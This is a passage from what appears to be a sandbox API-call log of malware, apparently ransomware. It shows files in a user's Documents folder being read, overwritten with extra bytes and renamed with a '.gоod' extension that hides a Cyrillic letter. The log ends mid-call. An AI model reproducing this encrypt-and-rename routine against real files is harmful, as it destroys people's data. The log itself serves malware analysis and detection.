[0232.513] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\-_vfjFV9lDa.docx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\-_vfjFV9lDa.docx", lpFilePart=0x0) returned 0x2a [0232.513] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0232.513] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\-_vfjFV9lDa.docx" (normalized: "c:\\users\\fd1hvy\\documents\\-_vfjfv9lda.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0232.513] GetFileType (hFile=0x864) returned 0x1 [0232.513] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0232.513] GetFileType (hFile=0x864) returned 0x1 [0232.513] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x16930 [0232.513] WriteFile (in: hFile=0x864, lpBuffer=0x385ffc8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x385ffc8*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0232.513] CloseHandle (hObject=0x864) returned 1 [0232.514] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\-_vfjFV9lDa.docx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\-_vfjFV9lDa.docx", lpFilePart=0x0) returned 0x2a [0232.514] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0232.514] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\-_vfjFV9lDa.docx" (normalized: "c:\\users\\fd1hvy\\documents\\-_vfjfv9lda.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0232.514] GetFileType (hFile=0x864) returned 0x1 [0232.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0232.514] GetFileType (hFile=0x864) returned 0x1 [0232.514] ReadFile (in: hFile=0x864, lpBuffer=0x3862258, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x3862258*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0233.477] CloseHandle (hObject=0x864) returned 1 [0233.477] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\-_vfjFV9lDa.docx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\-_vfjFV9lDa.docx", lpFilePart=0x0) returned 0x2a [0233.477] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0233.477] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\-_vfjFV9lDa.docx" (normalized: "c:\\users\\fd1hvy\\documents\\-_vfjfv9lda.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0233.533] GetFileType (hFile=0x864) returned 0x1 [0233.534] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0233.534] GetFileType (hFile=0x864) returned 0x1 [0233.534] WriteFile (in: hFile=0x864, lpBuffer=0x372d7a8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x372d7a8*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0233.534] CloseHandle (hObject=0x864) returned 1 [0233.534] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\-_vfjFV9lDa.docx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\-_vfjFV9lDa.docx", lpFilePart=0x0) returned 0x2a [0233.534] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\-_vfjFV9lDa.docx.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\-_vfjFV9lDa.docx.gоod", lpFilePart=0x0) returned 0x2f [0233.534] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0233.534] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\-_vfjFV9lDa.docx" (normalized: "c:\\users\\fd1hvy\\documents\\-_vfjfv9lda.docx"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8e59d0, ftCreationTime.dwHighDateTime=0x1d54f3f, ftLastAccessTime.dwLowDateTime=0xcb1c3d10, ftLastAccessTime.dwHighDateTime=0x1d5c169, ftLastWriteTime.dwLowDateTime=0x8768b9ab, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x16940)) returned 1 [0233.534] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0233.534] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\-_vfjFV9lDa.docx" (normalized: "c:\\users\\fd1hvy\\documents\\-_vfjfv9lda.docx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\-_vfjFV9lDa.docx.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\-_vfjfv9lda.docx.gоod")) returned 1 [0233.535] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\0s-K6KCl_.doc", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\0s-K6KCl_.doc", lpFilePart=0x0) returned 0x27 [0233.535] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0233.535] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\0s-K6KCl_.doc" (normalized: "c:\\users\\fd1hvy\\documents\\0s-k6kcl_.doc"), fInfoLevelId=0x0, lpFileInformation=0x37ed600 | out: lpFileInformation=0x37ed600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c38bf60, ftCreationTime.dwHighDateTime=0x1d4d2e5, ftLastAccessTime.dwLowDateTime=0xfe8707b0, ftLastAccessTime.dwHighDateTime=0x1d4cebd, ftLastWriteTime.dwLowDateTime=0xfe8707b0, ftLastWriteTime.dwHighDateTime=0x1d4cebd, nFileSizeHigh=0x0, nFileSizeLow=0x187d)) returned 1 [0233.536] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0233.536] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\0s-K6KCl_.doc", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\0s-K6KCl_.doc", lpFilePart=0x0) returned 0x27 [0233.536] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0233.536] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\0s-K6KCl_.doc" (normalized: "c:\\users\\fd1hvy\\documents\\0s-k6kcl_.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0233.536] GetFileType (hFile=0x864) returned 0x1 [0233.536] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0233.536] GetFileType (hFile=0x864) returned 0x1 [0233.536] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0233.536] ReadFile (in: hFile=0x864, lpBuffer=0x37ed998, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x37ed998*, lpNumberOfBytesRead=0x1f9ee6d8*=0x87d, lpOverlapped=0x0) returned 1 [0233.537] CloseHandle (hObject=0x864) returned 1 [0233.537] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\0s-K6KCl_.doc", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\0s-K6KCl_.doc", lpFilePart=0x0) returned 0x27 [0233.537] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0233.537] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\0s-K6KCl_.doc" (normalized: "c:\\users\\fd1hvy\\documents\\0s-k6kcl_.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0233.537] GetFileType (hFile=0x864) returned 0x1 [0233.537] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0233.537] GetFileType (hFile=0x864) returned 0x1 [0233.537] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x187d [0233.537] WriteFile (in: hFile=0x864, lpBuffer=0x37eebf0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x37eebf0*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0233.538] CloseHandle (hObject=0x864) returned 1 [0233.538] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\0s-K6KCl_.doc", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\0s-K6KCl_.doc", lpFilePart=0x0) returned 0x27 [0233.538] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0233.538] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\0s-K6KCl_.doc" (normalized: "c:\\users\\fd1hvy\\documents\\0s-k6kcl_.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0233.538] GetFileType (hFile=0x864) returned 0x1 [0233.538] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0233.538] GetFileType (hFile=0x864) returned 0x1 [0233.538] ReadFile (in: hFile=0x864, lpBuffer=0x37f0e70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x37f0e70*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0233.565] CloseHandle (hObject=0x864) returned 1 [0233.565] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\0s-K6KCl_.doc", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\0s-K6KCl_.doc", lpFilePart=0x0) returned 0x27 [0233.565] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0233.566] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\0s-K6KCl_.doc" (normalized: "c:\\users\\fd1hvy\\documents\\0s-k6kcl_.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0233.566] GetFileType (hFile=0x864) returned 0x1 [0233.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0233.566] GetFileType (hFile=0x864) returned 0x1 [0233.566] WriteFile (in: hFile=0x864, lpBuffer=0x37efc08*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x37efc08*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0233.566] CloseHandle (hObject=0x864) returned 1 [0233.566] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\0s-K6KCl_.doc", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\0s-K6KCl_.doc", lpFilePart=0x0) returned 0x27 [0233.566] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\0s-K6KCl_.doc.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\0s-K6KCl_.doc.gоod", lpFilePart=0x0) returned 0x2c [0233.566] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0233.566] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\0s-K6KCl_.doc" (normalized: "c:\\users\\fd1hvy\\documents\\0s-k6kcl_.doc"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c38bf60, ftCreationTime.dwHighDateTime=0x1d4d2e5, ftLastAccessTime.dwLowDateTime=0xfe8707b0, ftLastAccessTime.dwHighDateTime=0x1d4cebd, ftLastWriteTime.dwLowDateTime=0x876d7df5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x188d)) returned 1 [0233.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0233.566] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\0s-K6KCl_.doc" (normalized: "c:\\users\\fd1hvy\\documents\\0s-k6kcl_.doc"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\0s-K6KCl_.doc.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\0s-k6kcl_.doc.gоod")) returned 1 [0233.567] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\20weaz6sA.ots", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\20weaz6sA.ots", lpFilePart=0x0) returned 0x27 [0233.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0233.567] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\20weaz6sA.ots" (normalized: "c:\\users\\fd1hvy\\documents\\20weaz6sa.ots"), fInfoLevelId=0x0, lpFileInformation=0x386e230 | out: lpFileInformation=0x386e230*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d499b60, ftCreationTime.dwHighDateTime=0x1d4ca4d, ftLastAccessTime.dwLowDateTime=0xf9a24c00, ftLastAccessTime.dwHighDateTime=0x1d4d304, ftLastWriteTime.dwLowDateTime=0xf9a24c00, ftLastWriteTime.dwHighDateTime=0x1d4d304, nFileSizeHigh=0x0, nFileSizeLow=0x13ccc)) returned 1 [0233.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0233.567] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\20weaz6sA.ots", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\20weaz6sA.ots", lpFilePart=0x0) returned 0x27 [0233.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0233.567] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\20weaz6sA.ots" (normalized: "c:\\users\\fd1hvy\\documents\\20weaz6sa.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0233.714] GetFileType (hFile=0x864) returned 0x1 [0233.714] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0233.715] GetFileType (hFile=0x864) returned 0x1 [0233.715] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0233.715] ReadFile (in: hFile=0x864, lpBuffer=0x3779088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x3779088*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0233.748] CloseHandle (hObject=0x864) returned 1 [0233.748] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\20weaz6sA.ots", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\20weaz6sA.ots", lpFilePart=0x0) returned 0x27 [0233.748] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0233.748] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\20weaz6sA.ots" (normalized: "c:\\users\\fd1hvy\\documents\\20weaz6sa.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0233.748] GetFileType (hFile=0x864) returned 0x1 [0233.748] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0233.748] GetFileType (hFile=0x864) returned 0x1 [0233.748] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x13ccc [0233.749] WriteFile (in: hFile=0x864, lpBuffer=0x3811910*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x3811910*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0233.749] CloseHandle (hObject=0x864) returned 1 [0233.749] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\20weaz6sA.ots", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\20weaz6sA.ots", lpFilePart=0x0) returned 0x27 [0233.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0233.749] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\20weaz6sA.ots" (normalized: "c:\\users\\fd1hvy\\documents\\20weaz6sa.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0233.749] GetFileType (hFile=0x864) returned 0x1 [0233.749] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0233.749] GetFileType (hFile=0x864) returned 0x1 [0233.749] ReadFile (in: hFile=0x864, lpBuffer=0x3813b90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x3813b90*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0233.776] CloseHandle (hObject=0x864) returned 1 [0233.776] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\20weaz6sA.ots", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\20weaz6sA.ots", lpFilePart=0x0) returned 0x27 [0233.776] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0233.776] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\20weaz6sA.ots" (normalized: "c:\\users\\fd1hvy\\documents\\20weaz6sa.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0233.776] GetFileType (hFile=0x864) returned 0x1 [0233.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0233.777] GetFileType (hFile=0x864) returned 0x1 [0233.777] WriteFile (in: hFile=0x864, lpBuffer=0x3812928*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x3812928*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0233.777] CloseHandle (hObject=0x864) returned 1 [0233.777] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\20weaz6sA.ots", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\20weaz6sA.ots", lpFilePart=0x0) returned 0x27 [0233.777] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\20weaz6sA.ots.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\20weaz6sA.ots.gоod", lpFilePart=0x0) returned 0x2c [0233.777] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0233.777] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\20weaz6sA.ots" (normalized: "c:\\users\\fd1hvy\\documents\\20weaz6sa.ots"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d499b60, ftCreationTime.dwHighDateTime=0x1d4ca4d, ftLastAccessTime.dwLowDateTime=0xf9a24c00, ftLastAccessTime.dwHighDateTime=0x1d4d304, ftLastWriteTime.dwLowDateTime=0x878edf32, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x13cdc)) returned 1 [0233.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0233.777] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\20weaz6sA.ots" (normalized: "c:\\users\\fd1hvy\\documents\\20weaz6sa.ots"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\20weaz6sA.ots.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\20weaz6sa.ots.gоod")) returned 1 [0233.778] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\4xMLA.pdf", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\4xMLA.pdf", lpFilePart=0x0) returned 0x23 [0233.778] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0233.778] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\4xMLA.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\4xmla.pdf"), fInfoLevelId=0x0, lpFileInformation=0x3890ee0 | out: lpFileInformation=0x3890ee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3528e490, ftCreationTime.dwHighDateTime=0x1d4d36f, ftLastAccessTime.dwLowDateTime=0x40663660, ftLastAccessTime.dwHighDateTime=0x1d4d0b7, ftLastWriteTime.dwLowDateTime=0x40663660, ftLastWriteTime.dwHighDateTime=0x1d4d0b7, nFileSizeHigh=0x0, nFileSizeLow=0xd0e5)) returned 1 [0233.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0233.778] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\4xMLA.pdf", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\4xMLA.pdf", lpFilePart=0x0) returned 0x23 [0233.778] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0233.778] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\4xMLA.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\4xmla.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0233.779] GetFileType (hFile=0x864) returned 0x1 [0233.779] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0233.779] GetFileType (hFile=0x864) returned 0x1 [0233.779] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0233.779] ReadFile (in: hFile=0x864, lpBuffer=0x3891258, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x3891258*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0233.780] CloseHandle (hObject=0x864) returned 1 [0233.780] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\4xMLA.pdf", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\4xMLA.pdf", lpFilePart=0x0) returned 0x23 [0233.780] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0233.780] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\4xMLA.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\4xmla.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0233.780] GetFileType (hFile=0x864) returned 0x1 [0233.780] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0233.780] GetFileType (hFile=0x864) returned 0x1 [0233.780] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0xd0e5 [0233.780] WriteFile (in: hFile=0x864, lpBuffer=0x38924a0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x38924a0*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0233.780] CloseHandle (hObject=0x864) returned 1 [0233.780] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\4xMLA.pdf", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\4xMLA.pdf", lpFilePart=0x0) returned 0x23 [0233.780] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0233.780] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\4xMLA.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\4xmla.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0233.781] GetFileType (hFile=0x864) returned 0x1 [0233.781] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0233.781] GetFileType (hFile=0x864) returned 0x1 [0233.781] ReadFile (in: hFile=0x864, lpBuffer=0x3894710, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x3894710*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0234.187] CloseHandle (hObject=0x864) returned 1 [0234.187] GetFullPathNameW (in: 